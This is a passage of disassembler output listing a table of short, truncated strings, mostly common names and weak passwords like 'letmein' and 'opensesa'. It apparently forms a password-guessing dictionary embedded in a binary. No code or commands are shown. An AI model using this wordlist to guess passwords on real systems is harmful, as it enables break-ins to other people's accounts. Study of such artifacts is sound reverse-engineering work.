aPoop		db 'poop',0             ; DATA XREF: ___:00430A2Co
		align 4
aPonderin	db 'ponderin',0         ; DATA XREF: ___:00430A28o
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: ___:00430A24o
		align 4
aPolly		db 'polly',0            ; DATA XREF: ___:00430A20o
		align 4
aPolice		db 'police',0           ; DATA XREF: ___:00430A1Co
		align 4
aPoetry		db 'poetry',0           ; DATA XREF: ___:00430A18o
		align 4
aPlymouth	db 'plymouth',0         ; DATA XREF: ___:00430A14o
		align 4
aPluto		db 'pluto',0            ; DATA XREF: ___:00430A10o
		align 10h
aPlover		db 'plover',0           ; DATA XREF: ___:00430A0Co
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: ___:00430A08o
aPlane		db 'plane',0            ; DATA XREF: ___:00430A04o
		align 4
aPizza		db 'pizza',0            ; DATA XREF: ___:00430A00o
		align 10h
aPiss		db 'piss',0             ; DATA XREF: ___:004309FCo
		align 4
aPinname	db 'pinname',0          ; DATA XREF: ___:004309F8o
aPimp		db 'pimp',0             ; DATA XREF: ___:004309F4o
		align 4
aPierre		db 'pierre',0           ; DATA XREF: ___:004309F0o
		align 10h
aPick		db 'pick',0             ; DATA XREF: ___:004309ECo
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: ___:004309E8o
		align 10h
aPhreak		db 'phreak',0           ; DATA XREF: ___:004309E4o
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: ___:004309E0o
		align 10h
aPhrack		db 'phrack',0           ; DATA XREF: ___:004309DCo
		align 4
aPhoton		db 'photon',0           ; DATA XREF: ___:004309D8o
		align 10h
aPhone		db 'phone',0            ; DATA XREF: ___:004309D4o
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: ___:004309D0o
aPhilip		db 'philip',0           ; DATA XREF: ___:004309CCo
		align 4
aPhil		db 'phil',0             ; DATA XREF: ___:004309C8o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: ___:004309C4o
		align 4
aPete		db 'pete',0             ; DATA XREF: ___:004309C0o
		align 10h
aPervert	db 'pervert',0          ; DATA XREF: ___:004309BCo
aPersona	db 'persona',0          ; DATA XREF: ___:004309B8o
aPersimmo	db 'persimmo',0         ; DATA XREF: ___:004309B4o
		align 4
aPermit		db 'permit',0           ; DATA XREF: ___:004309B0o
		align 4
aPerfect	db 'perfect',0          ; DATA XREF: ___:004309ACo
aPercolat	db 'percolat',0         ; DATA XREF: ___:004309A8o
		align 4
aPepper		db 'pepper',0           ; DATA XREF: ___:004309A4o
		align 10h
aPeoria		db 'peoria',0           ; DATA XREF: ___:004309A0o
		align 4
aPentium	db 'pentium',0          ; DATA XREF: ___:0043099Co
aPenthous	db 'penthous',0         ; DATA XREF: ___:00430998o
		align 4
aPentagra	db 'pentagra',0         ; DATA XREF: ___:00430994o
		align 4
aPentagon	db 'pentagon',0         ; DATA XREF: ___:00430990o
		align 4
aPenname	db 'penname',0          ; DATA XREF: ___:0043098Co
aPenis		db 'penis',0            ; DATA XREF: ___:00430988o
		align 4
aPenguin	db 'penguin',0          ; DATA XREF: ___:00430984o
aPenelope	db 'penelope',0         ; DATA XREF: ___:00430980o
		align 4
aPencil		db 'pencil',0           ; DATA XREF: ___:0043097Co
		align 10h
aPecker		db 'pecker',0           ; DATA XREF: ___:00430978o
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: ___:00430974o
aPaula		db 'paula',0            ; DATA XREF: ___:00430970o
		align 4
aPatty		db 'patty',0            ; DATA XREF: ___:0043096Co
		align 10h
aPatriot	db 'patriot',0          ; DATA XREF: ___:00430968o
aPatricia	db 'patricia',0         ; DATA XREF: ___:00430964o
		align 4
aPaste		db 'paste',0            ; DATA XREF: ___:00430960o
		align 4
aPassphra	db 'passphra',0         ; DATA XREF: ___:0043095Co
		align 4
aPascal		db 'pascal',0           ; DATA XREF: ___:00430958o
		align 10h
aPapers		db 'papers',0           ; DATA XREF: ___:00430954o
		align 4
aPaper		db 'paper',0            ; DATA XREF: ___:00430950o
		align 10h
aPapa		db 'papa',0             ; DATA XREF: ___:0043094Co
		align 4
aPamela		db 'pamela',0           ; DATA XREF: ___:00430948o
		align 10h
aPakistan	db 'pakistan',0         ; DATA XREF: ___:00430944o
		align 4
aPaint		db 'paint',0            ; DATA XREF: ___:00430940o
		align 4
aPainless	db 'painless',0         ; DATA XREF: ___:0043093Co
		align 10h
aPacker		db 'packer',0           ; DATA XREF: ___:00430938o
		align 4
aPackard	db 'packard',0          ; DATA XREF: ___:00430934o
aPacific	db 'pacific',0          ; DATA XREF: ___:00430930o
aOxford		db 'oxford',0           ; DATA XREF: ___:0043092Co
		align 10h
aOutside	db 'outside',0          ; DATA XREF: ___:00430928o
aOutput		db 'output',0           ; DATA XREF: ___:00430924o
		align 10h
aOutlaw		db 'outlaw',0           ; DATA XREF: ___:00430920o
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: ___:0043091Co
		align 4
aOsiris		db 'osiris',0           ; DATA XREF: ___:00430918o
		align 4
aOscar		db 'oscar',0            ; DATA XREF: ___:00430914o
		align 4
aOrwell		db 'orwell',0           ; DATA XREF: ___:00430910o
		align 4
aOrient		db 'orient',0           ; DATA XREF: ___:0043090Co
		align 4
aOrca		db 'orca',0             ; DATA XREF: ___:00430908o
		align 4
aOperator	db 'operator',0         ; DATA XREF: ___:00430904o
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: ___:00430900o
		align 4
aOpenlock	db 'openlock',0         ; DATA XREF: ___:004308FCo
		align 10h
aOpening	db 'opening',0          ; DATA XREF: ___:004308F8o
aOmega		db 'omega',0            ; DATA XREF: ___:004308F0o
		align 10h
aOlivia		db 'olivia',0           ; DATA XREF: ___:004308ECo
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: ___:004308E8o
		align 4
aOldage		db 'oldage',0           ; DATA XREF: ___:004308E4o
		align 4
aOkay		db 'okay',0             ; DATA XREF: ___:004308E0o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:004308DCo
		align 4
aOcelot		db 'ocelot',0           ; DATA XREF: ___:004308D8o
		align 4
aOceanogr	db 'oceanogr',0         ; DATA XREF: ___:004308D4o
		align 10h
aObscurit	db 'obscurit',0         ; DATA XREF: ___:004308D0o
		align 4
aNyquist	db 'nyquist',0          ; DATA XREF: ___:004308CCo
aNuts		db 'nuts',0             ; DATA XREF: ___:004308C8o
		align 4
aNutritio	db 'nutritio',0         ; DATA XREF: ___:004308C4o
		align 4
aNumber		db 'number',0           ; DATA XREF: ___:004308C0o
		align 10h
aNull_1		db 'null',0             ; DATA XREF: ___:004308BCo
		align 4
aNukem		db 'nukem',0            ; DATA XREF: ___:004308B8o
		align 10h
aNuke		db 'nuke',0             ; DATA XREF: ___:004308B4o
		align 4
aNude		db 'nude',0             ; DATA XREF: ___:004308B0o
		align 10h
aNuclear	db 'nuclear',0          ; DATA XREF: ___:004308ACo
aNoxious	db 'noxious',0          ; DATA XREF: ___:004308A8o
aNovember	db 'november',0         ; DATA XREF: ___:004308A4o
		align 4
aNovel		db 'novel',0            ; DATA XREF: ___:004308A0o
		align 4
aNova		db 'nova',0             ; DATA XREF: ___:0043089Co
		align 4
aNoth		db 'noth',0             ; DATA XREF: ___:00430898o
		align 4
aNotes		db 'notes',0            ; DATA XREF: ___:00430894o
		align 4
aNoreen		db 'noreen',0           ; DATA XREF: ___:00430890o
		align 4
aNode		db 'node',0             ; DATA XREF: ___:0043088Co
		align 4
aNobody		db 'nobody',0           ; DATA XREF: ___:00430888o
		align 4
aNoble		db 'noble',0            ; DATA XREF: ___:00430884o
		align 4
aNnaacp		db 'nnaacp',0           ; DATA XREF: ___:00430880o
		align 4
aNita		db 'nita',0             ; DATA XREF: ___:0043087Co
		align 4
aNintendo	db 'nintendo',0         ; DATA XREF: ___:00430878o
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: ___:00430874o
		align 4
aNight		db 'night',0            ; DATA XREF: ___:00430870o
		align 4
aNicotine	db 'nicotine',0         ; DATA XREF: ___:0043086Co
		align 4
aNicole		db 'nicole',0           ; DATA XREF: ___:00430868o
		align 10h
aNice		db 'nice',0             ; DATA XREF: ___:00430864o
		align 4
aNext		db 'next',0             ; DATA XREF: ___:00430860o
		align 10h
aNewyork	db 'newyork',0          ; DATA XREF: ___:0043085Co
aNewton		db 'newton',0           ; DATA XREF: ___:00430858o
		align 10h
aNewsgrou	db 'newsgrou',0         ; DATA XREF: ___:00430854o
		align 4
aNews		db 'news',0             ; DATA XREF: ___:00430850o
		align 4
aNewborn	db 'newborn',0          ; DATA XREF: ___:0043084Co
aNetwork_0	db 'network',0          ; DATA XREF: ___:00430848o
aNetscape	db 'netscape',0         ; DATA XREF: ___:00430844o
		align 10h
aNess		db 'ness',0             ; DATA XREF: ___:00430840o
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: ___:0043083Co
aNepenthe	db 'nepenthe',0         ; DATA XREF: ___:00430838o
		align 4
aNavy		db 'navy',0             ; DATA XREF: ___:00430834o
		align 4
aNasa		db 'nasa',0             ; DATA XREF: ___:00430830o
		align 4
aNapoleon	db 'napoleon',0         ; DATA XREF: ___:0043082Co
		align 4
aNancy		db 'nancy',0            ; DATA XREF: ___:00430828o
		align 10h
aName		db 'name',0             ; DATA XREF: ___:00430824o
		align 4
aNagel		db 'nagel',0            ; DATA XREF: ___:00430820o
		align 10h
aMutant		db 'mutant',0           ; DATA XREF: ___:0043081Co
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: ___:00430818o
aMsdos		db 'msdos',0            ; DATA XREF: ___:00430814o
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: ___:00430810o
		align 10h
aMozart		db 'mozart',0           ; DATA XREF: ___:0043080Co
		align 4
aMovies		db 'movies',0           ; DATA XREF: ___:00430808o
		align 10h
aMovie		db 'movie',0            ; DATA XREF: ___:00430804o
		align 4
aMove		db 'move',0             ; DATA XREF: ___:00430800o
		align 10h
aMouse		db 'mouse',0            ; DATA XREF: ___:004307FCo
		align 4
aMountain	db 'mountain',0         ; DATA XREF: ___:004307F8o
		align 4
aMosaic		db 'mosaic',0           ; DATA XREF: ___:004307F4o
		align 4
aMortgage	db 'mortgage',0         ; DATA XREF: ___:004307F0o
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: ___:004307ECo
		align 4
aMortal		db 'mortal',0           ; DATA XREF: ___:004307E8o
		align 4
aMorris		db 'morris',0           ; DATA XREF: ___:004307E4o
		align 4
aMorley		db 'morley',0           ; DATA XREF: ___:004307E0o
		align 4
aMore		db 'more',0             ; DATA XREF: ___:004307DCo
		align 4
aMoose		db 'moose',0            ; DATA XREF: ___:004307D8o
		align 4
aMoor		db 'moor',0             ; DATA XREF: ___:004307D4o
		align 4
aMoom		db 'moom',0             ; DATA XREF: ___:004307D0o
		align 4
aMonica		db 'monica',0           ; DATA XREF: ___:004307CCo
		align 4
aMonday		db 'monday',0           ; DATA XREF: ___:004307C8o
		align 4
aMoguls		db 'moguls',0           ; DATA XREF: ___:004307C4o
		align 4
aMogul		db 'mogul',0            ; DATA XREF: ___:004307C0o
		align 4
aModem		db 'modem',0            ; DATA XREF: ___:004307BCo
		align 4
aMode		db 'mode',0             ; DATA XREF: ___:004307B8o
		align 4
aMkii		db 'mkii',0             ; DATA XREF: ___:004307B4o
		align 4
aMission	db 'mission',0          ; DATA XREF: ___:004307B0o
aMisfit		db 'misfit',0           ; DATA XREF: ___:004307ACo
		align 4
aMinsky		db 'minsky',0           ; DATA XREF: ___:004307A8o
		align 4
aMinimum	db 'minimum',0          ; DATA XREF: ___:004307A4o
aMine		db 'mine',0             ; DATA XREF: ___:004307A0o
		align 4
aMike		db 'mike',0             ; DATA XREF: ___:0043079Co
		align 4
aMidieval	db 'midieval',0         ; DATA XREF: ___:00430798o
		align 10h
aMicrosof	db 'microsof',0         ; DATA XREF: ___:00430794o
		align 4
aMicropro	db 'micropro',0         ; DATA XREF: ___:00430790o
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: ___:0043078Co
		align 4
aMicro		db 'micro',0            ; DATA XREF: ___:00430788o
		align 4
aMickey		db 'mickey',0           ; DATA XREF: ___:00430784o
		align 4
aMichelle	db 'michelle',0         ; DATA XREF: ___:00430780o
		align 10h
aMichele	db 'michele',0          ; DATA XREF: ___:0043077Co
aMichelan	db 'michelan',0         ; DATA XREF: ___:00430778o
		align 4
aMichel		db 'michel',0           ; DATA XREF: ___:00430774o
		align 4
aMichael	db 'michael',0          ; DATA XREF: ___:00430770o
aMice		db 'mice',0             ; DATA XREF: ___:0043076Co
		align 4
aMets		db 'mets',0             ; DATA XREF: ___:00430768o
		align 4
aMetalica	db 'metalica',0         ; DATA XREF: ___:00430764o
		align 10h
aMetalhea	db 'metalhea',0         ; DATA XREF: ___:00430760o
		align 4
aMetal		db 'metal',0            ; DATA XREF: ___:0043075Co
		align 4
aMerlin		db 'merlin',0           ; DATA XREF: ___:00430758o
		align 4
aMercury	db 'mercury',0          ; DATA XREF: ___:00430754o
aMenu		db 'menu',0             ; DATA XREF: ___:00430750o
		align 4
aMenace		db 'menace',0           ; DATA XREF: ___:0043074Co
		align 4
aMemory		db 'memory',0           ; DATA XREF: ___:00430748o
		align 4
aMember		db 'member',0           ; DATA XREF: ___:00430744o
		align 4
aMelrose	db 'melrose',0          ; DATA XREF: ___:00430740o
aMellon		db 'mellon',0           ; DATA XREF: ___:0043073Co
		align 4
aMelissa	db 'melissa',0          ; DATA XREF: ___:00430738o
aMegan		db 'megan',0            ; DATA XREF: ___:00430734o
		align 4
aMegadeth	db 'megadeth',0         ; DATA XREF: ___:00430730o
		align 10h
aMegabyte	db 'megabyte',0         ; DATA XREF: ___:0043072Co
		align 4
aMeagan		db 'meagan',0           ; DATA XREF: ___:00430728o
		align 4
aMaurice	db 'maurice',0          ; DATA XREF: ___:00430724o
aMath		db 'math',0             ; DATA XREF: ___:00430720o
		align 4
aMaster		db 'master',0           ; DATA XREF: ___:0043071Co
		align 4
aMason		db 'mason',0            ; DATA XREF: ___:00430718o
		align 4
aMary		db 'mary',0             ; DATA XREF: ___:00430714o
		align 4
aMarvin		db 'marvin',0           ; DATA XREF: ___:00430710o
		align 4
aMarty		db 'marty',0            ; DATA XREF: ___:0043070Co
		align 4
aMars		db 'mars',0             ; DATA XREF: ___:00430708o
		align 4
aMarriage	db 'marriage',0         ; DATA XREF: ___:00430704o
		align 10h
aMarni		db 'marni',0            ; DATA XREF: ___:00430700o
		align 4
aMarkus		db 'markus',0           ; DATA XREF: ___:004306FCo
		align 10h
aMark		db 'mark',0             ; DATA XREF: ___:004306F8o
		align 4
aMarines	db 'marines',0          ; DATA XREF: ___:004306F4o
aMarijuan	db 'marijuan',0         ; DATA XREF: ___:004306F0o
		align 4
aMarietta	db 'marietta',0         ; DATA XREF: ___:004306ECo
		align 4
aMariens	db 'mariens',0          ; DATA XREF: ___:004306E8o
aMaria		db 'maria',0            ; DATA XREF: ___:004306E4o
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: ___:004306E0o
		align 10h
aMarci		db 'marci',0            ; DATA XREF: ___:004306DCo
		align 4
aMara		db 'mara',0             ; DATA XREF: ___:004306D8o
		align 10h
aManager	db 'manager',0          ; DATA XREF: ___:004306D4o
aMana		db 'mana',0             ; DATA XREF: ___:004306D0o
		align 10h
aMalcom		db 'malcom',0           ; DATA XREF: ___:004306CCo
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: ___:004306C8o
aMaint		db 'maint',0            ; DATA XREF: ___:004306C4o
		align 4
aMail		db 'mail',0             ; DATA XREF: ___:004306C0o
		align 10h
aMagnet		db 'magnet',0           ; DATA XREF: ___:004306BCo
		align 4
aMagic		db 'magic',0            ; DATA XREF: ___:004306B8o
		align 10h
aMaggot		db 'maggot',0           ; DATA XREF: ___:004306B4o
		align 4
aMacro		db 'macro',0            ; DATA XREF: ___:004306B0o
		align 10h
aMack		db 'mack',0             ; DATA XREF: ___:004306ACo
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: ___:004306A8o
		align 4
aMachine	db 'machine',0          ; DATA XREF: ___:004306A4o
aLynne		db 'lynne',0            ; DATA XREF: ___:004306A0o
		align 4
aLynn		db 'lynn',0             ; DATA XREF: ___:0043069Co
		align 4
aLust		db 'lust',0             ; DATA XREF: ___:00430698o
		align 4
aLuke		db 'luke',0             ; DATA XREF: ___:00430694o
		align 4
aLude		db 'lude',0             ; DATA XREF: ___:00430690o
		align 4
aLucy		db 'lucy',0             ; DATA XREF: ___:0043068Co
		align 4
aLucus		db 'lucus',0            ; DATA XREF: ___:00430688o
		align 4
aLuck		db 'luck',0             ; DATA XREF: ___:00430684o
		align 4
aLover		db 'lover',0            ; DATA XREF: ___:00430680o
		align 4
aLovebug	db 'lovebug',0          ; DATA XREF: ___:0043067Co
aLouis		db 'louis',0            ; DATA XREF: ___:00430678o
		align 4
aLoser		db 'loser',0            ; DATA XREF: ___:00430674o
		align 4
aLorraine	db 'lorraine',0         ; DATA XREF: ___:00430670o
		align 4
aLorin		db 'lorin',0            ; DATA XREF: ___:0043066Co
		align 10h
aLori		db 'lori',0             ; DATA XREF: ___:00430668o
		align 4
aLore		db 'lore',0             ; DATA XREF: ___:00430664o
		align 10h
aLoose		db 'loose',0            ; DATA XREF: ___:00430660o
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: ___:0043065Co
		align 10h
aLois		db 'lois',0             ; DATA XREF: ___:00430658o
		align 4
aLogout		db 'logout',0           ; DATA XREF: ___:00430654o
		align 10h
aLoginwor	db 'loginwor',0         ; DATA XREF: ___:00430650o
		align 4
aLogic		db 'logic',0            ; DATA XREF: ___:0043064Co
		align 4
aLockword	db 'lockword',0         ; DATA XREF: ___:00430648o
		align 10h
aLockout	db 'lockout',0          ; DATA XREF: ___:00430644o
aLock		db 'lock',0             ; DATA XREF: ___:00430640o
		align 10h
aLoad		db 'load',0             ; DATA XREF: ___:0043063Co
		align 4
aLive		db 'live',0             ; DATA XREF: ___:00430638o
		align 10h
aLiteratu	db 'literatu',0         ; DATA XREF: ___:00430634o
		align 4
aLisp		db 'lisp',0             ; DATA XREF: ___:00430630o
		align 4
aLisa		db 'lisa',0             ; DATA XREF: ___:0043062Co
		align 4
aLips		db 'lips',0             ; DATA XREF: ___:00430628o
		align 4
aLion		db 'lion',0             ; DATA XREF: ___:00430624o
		align 4
aLink		db 'link',0             ; DATA XREF: ___:00430620o
		align 4
aLinda		db 'linda',0            ; DATA XREF: ___:0043061Co
		align 4
aLimited	db 'limited',0          ; DATA XREF: ___:00430618o
aLimbaugh	db 'limbaugh',0         ; DATA XREF: ___:00430614o
		align 10h
aLima		db 'lima',0             ; DATA XREF: ___:00430610o
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: ___:0043060Co
		align 4
aLight		db 'light',0            ; DATA XREF: ___:00430608o
		align 4
aLife		db 'life',0             ; DATA XREF: ___:00430604o
		align 4
aLicker		db 'licker',0           ; DATA XREF: ___:00430600o
		align 4
aLick		db 'lick',0             ; DATA XREF: ___:004305FCo
		align 4
aLibrary	db 'library',0          ; DATA XREF: ___:004305F8o
aLiberal	db 'liberal',0          ; DATA XREF: ___:004305F4o
aLexluthe	db 'lexluthe',0         ; DATA XREF: ___:004305F0o
		align 10h
aLewis		db 'lewis',0            ; DATA XREF: ___:004305ECo
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: ___:004305E8o
aLeslie		db 'leslie',0           ; DATA XREF: ___:004305E4o
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: ___:004305E0o
aLeroy		db 'leroy',0            ; DATA XREF: ___:004305DCo
		align 4
aLeland		db 'leland',0           ; DATA XREF: ___:004305D8o
		align 10h
aLegal		db 'legal',0            ; DATA XREF: ___:004305D4o
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: ___:004305D0o
		align 4
aLeft		db 'left',0             ; DATA XREF: ___:004305CCo
		align 4
aLebesgue	db 'lebesgue',0         ; DATA XREF: ___:004305C8o
		align 4
aLeah		db 'leah',0             ; DATA XREF: ___:004305C4o
		align 10h
aLazer		db 'lazer',0            ; DATA XREF: ___:004305C0o
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: ___:004305BCo
aLava		db 'lava',0             ; DATA XREF: ___:004305B8o
		align 4
aLaura		db 'laura',0            ; DATA XREF: ___:004305B4o
		align 10h
aLaser		db 'laser',0            ; DATA XREF: ___:004305B0o
		align 4
aLarry		db 'larry',0            ; DATA XREF: ___:004305ACo
		align 10h
aLarkin		db 'larkin',0           ; DATA XREF: ___:004305A8o
		align 4
aLara		db 'lara',0             ; DATA XREF: ___:004305A4o
		align 10h
aLaptop		db 'laptop',0           ; DATA XREF: ___:004305A0o
		align 4
aLana		db 'lana',0             ; DATA XREF: ___:0043059Co
		align 10h
aLaminati	db 'laminati',0         ; DATA XREF: ___:00430598o
		align 4
aLambda		db 'lambda',0           ; DATA XREF: ___:00430594o
		align 4
aLakers		db 'lakers',0           ; DATA XREF: ___:00430590o
		align 4
aLadle		db 'ladle',0            ; DATA XREF: ___:0043058Co
		align 4
aLadies		db 'ladies',0           ; DATA XREF: ___:00430588o
		align 4
aKristy		db 'kristy',0           ; DATA XREF: ___:00430584o
		align 4
aKristine	db 'kristine',0         ; DATA XREF: ___:00430580o
		align 10h
aKristin	db 'kristin',0          ; DATA XREF: ___:0043057Co
aKristie	db 'kristie',0          ; DATA XREF: ___:00430578o
aKristi		db 'kristi',0           ; DATA XREF: ___:00430574o
		align 4
aKristen	db 'kristen',0          ; DATA XREF: ___:00430570o
aKrista		db 'krista',0           ; DATA XREF: ___:0043056Co
		align 4
aKnown		db 'known',0            ; DATA XREF: ___:00430568o
		align 10h
aKnightma	db 'knightma',0         ; DATA XREF: ___:00430564o
		align 4
aKnight		db 'knight',0           ; DATA XREF: ___:00430560o
		align 4
aKnife		db 'knife',0            ; DATA XREF: ___:0043055Co
		align 4
aKlingon	db 'klingon',0          ; DATA XREF: ___:00430558o
aKitten		db 'kitten',0           ; DATA XREF: ___:00430554o
		align 4
aKissmyas	db 'kissmyas',0         ; DATA XREF: ___:00430550o
		align 4
aKiss		db 'kiss',0             ; DATA XREF: ___:0043054Co
		align 10h
aKirkland	db 'kirkland',0         ; DATA XREF: ___:00430548o
		align 4
aKirk		db 'kirk',0             ; DATA XREF: ___:00430544o
		align 4
aKing		db 'king',0             ; DATA XREF: ___:00430540o
		align 4
aKimberly	db 'kimberly',0         ; DATA XREF: ___:0043053Co
		align 4
aKilo		db 'kilo',0             ; DATA XREF: ___:00430538o
		align 10h
aKillthem	db 'killthem',0         ; DATA XREF: ___:00430534o
		align 4
aKill		db 'kill',0             ; DATA XREF: ___:00430530o
		align 4
aKids		db 'kids',0             ; DATA XREF: ___:0043052Co
		align 4
aKeyword	db 'keyword',0          ; DATA XREF: ___:00430528o
aKeyin		db 'keyin',0            ; DATA XREF: ___:00430524o
		align 4
aKeybord	db 'keybord',0          ; DATA XREF: ___:00430520o
aKewl		db 'kewl',0             ; DATA XREF: ___:0043051Co
		align 4
aKevin		db 'kevin',0            ; DATA XREF: ___:00430518o
		align 4
aKerry		db 'kerry',0            ; DATA XREF: ___:00430514o
		align 4
aKerrie		db 'kerrie',0           ; DATA XREF: ___:00430510o
		align 4
aKerri		db 'kerri',0            ; DATA XREF: ___:0043050Co
		align 4
aKernel		db 'kernel',0           ; DATA XREF: ___:00430508o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:00430504o
		align 4
aKeri		db 'keri',0             ; DATA XREF: ___:00430500o
		align 4
aKelly		db 'kelly',0            ; DATA XREF: ___:004304FCo
		align 4
aKatrina	db 'katrina',0          ; DATA XREF: ___:004304F8o
aKatina		db 'katina',0           ; DATA XREF: ___:004304F4o
		align 4
aKathy		db 'kathy',0            ; DATA XREF: ___:004304F0o
		align 4
aKathrine	db 'kathrine',0         ; DATA XREF: ___:004304ECo
		align 10h
aKathleen	db 'kathleen',0         ; DATA XREF: ___:004304E8o
		align 4
aKate		db 'kate',0             ; DATA XREF: ___:004304E4o
		align 4
aKatana		db 'katana',0           ; DATA XREF: ___:004304E0o
		align 4
aKarina		db 'karina',0           ; DATA XREF: ___:004304DCo
		align 4
aKarie		db 'karie',0            ; DATA XREF: ___:004304D8o
		align 4
aKaren		db 'karen',0            ; DATA XREF: ___:004304D4o
		align 4
aKaka		db 'kaka',0             ; DATA XREF: ___:004304D0o
		align 4
aJupiter	db 'jupiter',0          ; DATA XREF: ___:004304CCo
aJune		db 'june',0             ; DATA XREF: ___:004304C8o
		align 4
aJuliet		db 'juliet',0           ; DATA XREF: ___:004304C4o
		align 4
aJulie		db 'julie',0            ; DATA XREF: ___:004304C0o
		align 4
aJulia		db 'julia',0            ; DATA XREF: ___:004304BCo
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: ___:004304B8o
		align 4
aJuggle		db 'juggle',0           ; DATA XREF: ___:004304B4o
		align 4
aJudy		db 'judy',0             ; DATA XREF: ___:004304B0o
		align 4
aJudith		db 'judith',0           ; DATA XREF: ___:004304ACo
		align 4
aJoyce		db 'joyce',0            ; DATA XREF: ___:004304A8o
		align 4
aJournal	db 'journal',0          ; DATA XREF: ___:004304A4o
aJoshua		db 'joshua',0           ; DATA XREF: ___:004304A0o
		align 4
aJoseph		db 'joseph',0           ; DATA XREF: ___:0043049Co
		align 4
aJohnny		db 'johnny',0           ; DATA XREF: ___:00430498o
		align 4
aJohndoe	db 'johndoe',0          ; DATA XREF: ___:00430494o
aJohn		db 'john',0             ; DATA XREF: ___:00430490o
		align 4
aJody		db 'jody',0             ; DATA XREF: ___:0043048Co
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: ___:00430488o
		align 4
aJixian		db 'jixian',0           ; DATA XREF: ___:00430484o
		align 4
aJill		db 'jill',0             ; DATA XREF: ___:00430480o
		align 4
aJewelry	db 'jewelry',0          ; DATA XREF: ___:0043047Co
aJester		db 'jester',0           ; DATA XREF: ___:00430478o
		align 4
aJessica	db 'jessica',0          ; DATA XREF: ___:00430474o
aJerusale	db 'jerusale',0         ; DATA XREF: ___:00430470o
		align 10h
aJerry		db 'jerry',0            ; DATA XREF: ___:0043046Co
		align 4
aJenny		db 'jenny',0            ; DATA XREF: ___:00430468o
		align 10h
aJennifer	db 'jennifer',0         ; DATA XREF: ___:00430464o
		align 4
aJenni		db 'jenni',0            ; DATA XREF: ___:00430460o
		align 4
aJeff		db 'jeff',0             ; DATA XREF: ___:0043045Co
		align 4
aJeanne		db 'jeanne',0           ; DATA XREF: ___:00430458o
		align 4
aJean		db 'jean',0             ; DATA XREF: ___:00430454o
		align 4
aJazz		db 'jazz',0             ; DATA XREF: ___:00430450o
		align 4
aJava		db 'java',0             ; DATA XREF: ___:0043044Co
		align 4
aJasmin		db 'jasmin',0           ; DATA XREF: ___:00430448o
		align 4
aJapan		db 'japan',0            ; DATA XREF: ___:00430444o
		align 4
aJanie		db 'janie',0            ; DATA XREF: ___:00430440o
		align 4
aJanice		db 'janice',0           ; DATA XREF: ___:0043043Co
		align 4
aJanet		db 'janet',0            ; DATA XREF: ___:00430438o
		align 4
aJane		db 'jane',0             ; DATA XREF: ___:00430434o
		align 4
aJail		db 'jail',0             ; DATA XREF: ___:00430430o
		align 4
aJackie		db 'jackie',0           ; DATA XREF: ___:0043042Co
		align 4
aIsis		db 'isis',0             ; DATA XREF: ___:00430428o
		align 4
aIrishman	db 'irishman',0         ; DATA XREF: ___:00430424o
		align 10h
aIrene		db 'irene',0            ; DATA XREF: ___:00430420o
		align 4
aInvent		db 'invent',0           ; DATA XREF: ___:0043041Co
		align 10h
aInteger	db 'integer',0          ; DATA XREF: ___:00430418o
aInside		db 'inside',0           ; DATA XREF: ___:00430414o
		align 10h
aInput		db 'input',0            ; DATA XREF: ___:00430410o
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: ___:0043040Co
		align 4
aInna		db 'inna',0             ; DATA XREF: ___:00430408o
		align 4
aIngrid		db 'ingrid',0           ; DATA XREF: ___:00430404o
		align 4
aIngress	db 'ingress',0          ; DATA XREF: ___:00430400o
aIngres		db 'ingres',0           ; DATA XREF: ___:004303FCo
		align 4
aIndians	db 'indians',0          ; DATA XREF: ___:004303F8o
aIndiana	db 'indiana',0          ; DATA XREF: ___:004303F4o
aIndian		db 'indian',0           ; DATA XREF: ___:004303F0o
		align 4
aIndia		db 'india',0            ; DATA XREF: ___:004303ECo
		align 4
aInclude	db 'include',0          ; DATA XREF: ___:004303E8o
aImperial	db 'imperial',0         ; DATA XREF: ___:004303E4o
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: ___:004303E0o
		align 4
aImbrogli	db 'imbrogli',0         ; DATA XREF: ___:004303DCo
		align 10h
aImage		db 'image',0            ; DATA XREF: ___:004303D8o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: ___:004303D4o
		align 4
aIcecream	db 'icecream',0         ; DATA XREF: ___:004303D0o
		align 10h
aHypertxt	db 'hypertxt',0         ; DATA XREF: ___:004303CCo
		align 4
aHyper		db 'hyper',0            ; DATA XREF: ___:004303C8o
		align 4
aHydrogen	db 'hydrogen',0         ; DATA XREF: ___:004303C4o
		align 10h
aHutchins	db 'hutchins',0         ; DATA XREF: ___:004303C0o
		align 4
aHunter		db 'hunter',0           ; DATA XREF: ___:004303BCo
		align 4
aHunt		db 'hunt',0             ; DATA XREF: ___:004303B8o
		align 4
aHttp_0		db 'http',0             ; DATA XREF: ___:004303B4o
		align 4
aHotel		db 'hotel',0            ; DATA XREF: ___:004303B0o
		align 4
aHotdog		db 'hotdog',0           ; DATA XREF: ___:004303ACo
		align 4
aHost		db 'host',0             ; DATA XREF: ___:004303A8o
		align 4
